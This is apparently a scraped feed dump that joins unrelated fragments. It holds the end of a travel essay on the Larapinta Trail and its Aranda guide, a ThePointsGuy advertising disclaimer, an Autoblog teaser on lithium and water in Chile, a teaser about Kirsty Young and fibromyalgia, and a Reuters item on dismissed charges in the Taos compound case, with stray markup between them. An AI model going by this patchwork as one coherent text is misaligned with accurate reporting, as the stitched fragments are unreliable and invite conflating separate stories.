Dea brings us back to the local area, to the local people; the Aranda people. Her people. She tells us how her father had worked on cattle stations and took on the ways of his employers, while her mother held on tightly to the traditions of her ancestors. Dea herself came back to these traditions only in her adult life; realizing she needed to connect to the endless centuries of learning in order to reconnect to her country.
Mount Sonder, at 1,380 meters, is the highest point of the Larapinta Trail. Many climb it in the dark to watch sunrise from its summit but this time around, we’re content to have lunch on the top as sand-colored lizards shuffle over the rocks clattering under our feet.
From any high point on the Larapinta, Australia stretches endlessly away. South toward Hermannsburg, just in view, and beyond toward Kings Canyon and Uluru. North away into the Tanami Desert. Here, the enormity of this country is laid bare.
The Larapinta may have become more defined—like much of the world—since my first visit; the signposting more regular. But the landscape is as miraculous as it ever was; the local history just as fascinating. And anyone navigating these trails for themselves must come to the same conclusion: This is good country … Good country.
—-
The credit card offers that appear on the website are from credit card companies from which ThePointsGuy.com receives compensation. This compensation may impact how and where products appear on this site (including, for example, the order in which they appear). This site does not include all credit card companies or all available credit card offers. Please view our advertising policy page for more information.
Editorial Note: Opinions expressed here are author’s alone, not those of any bank, credit card issuer, airlines or hotel chain, and have not been reviewed, approved or otherwise endorsed by any of these entities.
]]>
Filed under:
Green,Electric,Hybrid
Third of the world’s supply of lithium is in a salt-flats aquifer there
Continue reading In Chilean desert, global thirst for lithium fuels a water war
In Chilean desert, global thirst for lithium fuels a water war originally appeared on Autoblog on Sat, 01 Sep 2018 09:00:00 EDT. Please see our terms for use of feeds.
Permalink |
Email this |
Comments
]]>
KIRSTY YOUNG, the host of Desert Island Discs, has stepped down as she is suffering from fibromyalgia, it’s been confirmed. What is fibromyalgia, and what are the painful signs and symptoms you should be aware of?![]()
Eddie Moore/Reuters
TAOS, N.M. (Reuters) – Two New Mexico judges on Wednesday dismissed child abuse charges against five people from a desert compound near Taos where a toddler’s body was found, citing procedural errors by prosecutors.
The judges, in separate decisions issued in New Mexico’s Eighth Judicial District Court, dismissed the child abuse charges on grounds that a preliminary hearing had not taken place within 10 days after they were filed on Aug. 8 when the defendants were taken into custody.See the rest of the story at Business Insider
NOW WATCH: I woke up at 4:30 a.m. for a week like a Navy SEAL
See Also:
![]()